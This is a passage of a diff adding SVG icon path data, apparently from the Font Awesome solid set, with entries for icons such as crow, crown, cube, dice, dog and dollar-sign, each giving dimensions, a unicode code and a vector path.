5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z"], + "crow": [640, 512, [], "f520", "M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "crown": [640, 512, [], "f521", "M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z"], + "crutch": [512, 512, [], "f7f7", "M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z"], + "cube": [512, 512, [], "f1b2", "M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z"], + "cubes": [512, 512, [], "f1b3", "M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z"], + "cut": [448, 512, [], "f0c4", "M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"], + "database": [448, 512, [], "f1c0", "M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z"], + "deaf": [512, 512, [], "f2a4", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z"], + "democrat": [640, 512, [], "f747", "M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z"], + "desktop": [576, 512, [], "f108", "M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z"], + "dharmachakra": [512, 512, [], "f655", "M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z"], + "diagnoses": [640, 512, [], "f470", "M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "dice": [640, 512, [], "f522", "M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "dice-d20": [480, 512, [], "f6cf", "M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z"], + "dice-d6": [448, 512, [], "f6d1", "M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z"], + "dice-five": [448, 512, [], "f523", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-four": [448, 512, [], "f524", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-one": [448, 512, [], "f525", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-six": [448, 512, [], "f526", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-three": [448, 512, [], "f527", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-two": [448, 512, [], "f528", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "digital-tachograph": [640, 512, [], "f566", "M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z"], + "directions": [512, 512, [], "f5eb", "M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z"], + "disease": [512, 512, [], "f7fa", "M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z"], + "divide": [448, 512, [], "f529", "M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "dizzy": [496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z"], + "dna": [448, 512, [], "f471", "M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z"], + "dog": [576, 512, [], "f6d3", "M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z"], + "dollar-sign": [288, 512, [], "f155", "M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z"], + "dolly": [576, 512, [], "f472", "M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "dolly-flatbed": [640, 512, [], "f474", "M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "donate": [512, 512, [], "f4b9", "M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 